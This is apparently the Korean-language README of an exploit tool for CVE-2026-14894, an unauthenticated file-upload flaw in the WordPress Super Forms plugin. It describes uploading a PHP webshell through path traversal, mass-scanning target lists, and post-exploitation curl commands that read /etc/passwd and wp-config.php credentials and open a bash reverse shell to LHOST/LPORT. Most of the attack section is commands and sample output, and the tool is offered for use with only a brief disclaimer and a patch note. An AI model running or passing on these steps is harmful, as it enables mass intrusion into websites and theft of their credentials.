
CVE-2026-14894에 대한 익스플로잇으로, WordPress Super Forms ≤ 6.3.313에서 인증되지 않은 파일 업로드에서 RCE로 이어집니다. PHP 웹셸을 업로드하고 단일 대상 또는 대량 악용을 지원합니다.
인증되지 않은 임의 파일 업로드 → 원격 코드 실행이 WordPress 플러그인 Super Forms 버전 ≤ 6.3.313에 존재합니다.
취약점은 AJAX 핸들러 super_submit_form에 있으며, 이 핸들러는 datauristring 필드를 통해 파일 업로드를 처리할 때 디스크에 쓰기 전에 파일 확장자나 MIME 타입을 검증하지 않습니다. 인증되지 않은 공격자는 PHP 웹쉘을 업로드하여 대상 서버에서 완전한 원격 코드 실행을 달성할 수 있습니다.
[1] Mint nonce (nopriv)
POST /wp-admin/admin-ajax.php
action=super_create_nonce
│
▼
[2] Upload PHP shell via datauristring (unauthenticated)
POST /wp-admin/admin-ajax.php
action=super_submit_form
data={"sf_upload_field":{"files":[{"datauristring":"data:image/png;base64,..."}]}}
│
├── Path Traversal → /wp-content/themes/<theme>/shell.php ← primary
│ (always exec)
│
└── Random folder → /wp-content/uploads/superforms/... ← fallback
(exec depends on server policy)
│
▼
[3] Shell Discovery
├── S0: media?parent=entry_id (WP REST)
├── S1: REST /wp/v2/media search (unauth)
├── S2: Apache/nginx directory listing
└── S3: WP sitemap attachment XML
│
▼
[4] RCE → curl "http://target/wp-content/themes/theme/shell.php?c=id"
pip install requests urllib3
python cve-2026-14894.py
CVE-2026-14894 │ Super Forms ≤ 6.3.313
Unauthenticated File Upload → Remote Code Execution
Researcher: andrea bocchetti | PoC: Beelze
1 단일 대상
2 대량 대상 (파일)
모드 (1/2): 1
대상 URL : https://target.com
Form ID (엔터=자동) : ← 비워두면 자동 발견
쉘 이름 (엔터=랜덤): ← 비워두면 랜덤 이름
쉘 파일 (엔터=내장): ← 비워두면 내장 쉘 사용
WP 사용자 (선택/REST) : ← 선택, 발견률 향상
WP 비밀번호 (선택/REST) : ← 선택
성공 시 예상 출력:
──────────────────────────────────────────────────────────────
TARGET https://target.com
──────────────────────────────────────────────────────────────
Super Forms v6.3.301 vulnerable ≤6.3.313
[1/3] Mint nonce ...................... ✔ OK a3f9e1c... sid=sess_ab...
[2/3] Upload [xkqmhzjt.php] .......... ✔ OK form_id=42 entry_id=137
[3/3] Shell discovery ................ ✔ FOUND → RCE [path traversal → theme]
╔══════════════════════════════════════════════════════════════╗
║ ✓ 성공 → RCE 확인됨 ║
║ ║
║ 쉘 » https://target.com/wp-content/themes/astra/shell ║
║ RCE » uid=33(www-data) gid=33(www-data) ║
║ ║
║ $ curl "https://target.com/...shell.php?c=whoami" ║
╚══════════════════════════════════════════════════════════════╝
모드 (1/2): 2
대상 파일 : targets.txt ← 한 줄에 하나의 URL, # = 주석
Form ID (엔터=자동) :
스레드 (엔터=5) : 10
쉘 파일 (엔터=내장):
WP 사용자 (선택/REST) :
WP 비밀번호 (선택/REST) :
targets.txt 형식:
# Bug bounty scope
https://site1.com
https://site2.com
https://site3.com
대량 스캔 출력:
══════════════════════════════════════════════════════════════
대량 스캔 3 대상 스레드=10
══════════════════════════════════════════════════════════════
[01/03] https://site1.com .... RCE uid=33(www-data)
↳ https://site1.com/wp-content/themes/astra/xkqmhzjt.php
[02/03] https://site2.com .... WRITE no exec
↳ https://site2.com/wp-content/uploads/superforms/2026/07/.../shell.php
[03/03] https://site3.com .... FAIL plugin inactive / blocked
══════════════════════════════════════════════════════════════
요약 1 RCE 1 WRITE_ONLY 0 MAYBE / 3 전체
══════════════════════════════════════════════════════════════
RCE 쉘:
» https://site1.com/wp-content/themes/astra/xkqmhzjt.php (uid=33...)
내장 웹쉘 대신 자신의 쉘 파일을 제공할 수 있습니다:
쉘 파일 (엔터=내장): /path/to/myshell.php
도구는 파일을 업로드하고 200 응답에 비어 있지 않은 본문이 있으면 RCE 확인으로 간주합니다.
RCE를 획득한 후 쉘과 상호작용합니다:
# 명령 실행
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=id"
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=cat+/etc/passwd"
# WordPress 설정 읽기 (자격 증명, DB)
curl -sk "https://target.com/.../shell.php?c=cat+/var/www/html/wp-config.php"
# 리버스 쉘
curl -sk "https://target.com/.../shell.php" --data "c=bash+-c+'bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261'"
결과는 자동으로 다음 위치에 저장됩니다:
~/Documents/CVE-2026-14894/result_YYYYMMDD_HHMMSS.json
| 상태 | 의미 |
|---|---|
RCE | PHP 쉘 실행 확인 — 완전한 원격 코드 실행 |
WRITE_ONLY | 파일 쓰기 성공했으나 PHP 실행 안 됨 (엔진 꺼짐 / .htaccess 거부) |
Super Forms를 ≥ 6.3.314로 업데이트하십시오. 패치는 datauristring 업로드에서 .pdf 확장자만 허용하고, 경로 순회를 방지하기 위해 realpath() 포함을 추가합니다.
이 도구는 공인된 침투 테스트, 버그 바운티 연구, 및 교육 목적으로만 사용되어야 합니다.
명시적인 서면 허가 없이 시스템에 대해 사용하지 마십시오.
저자는 이 도구로 인한 오용이나 손해에 대해 책임지지 않습니다.
CVE-2026-14894 · Super Forms ≤ 6.3.313 · 인증 없는 파일 업로드 RCE
연구자: andrea bocchetti · PoC: Beelze
| 필드 | 세부사항 |
|---|
| CVE ID | CVE-2026-14894 |
| Plugin | Super Forms (WordPress) |
| Affected | ≤ 6.3.313 |
| Patched | 6.3.314 (.pdf 확장자 강제 + realpath 차단) |
| CVSS | 9.8 Critical |
| 인증 필요 | 없음 |
| Researcher | andrea bocchetti |
| AJAX Action | super_submit_form |
| Sink | datauristring 필드 → class-ajax.php:2762–2766 |
| 업로드 경로 | /wp-content/uploads/superforms/YYYY/MM/<13digits>/ |
POSSIBLE_WRITE |
| 업로드 성공 반환되었으나 쉘 URL 확인 불가 |
FAIL | 플러그인 비활성, nonce 실패, 또는 패치된 버전 감지 |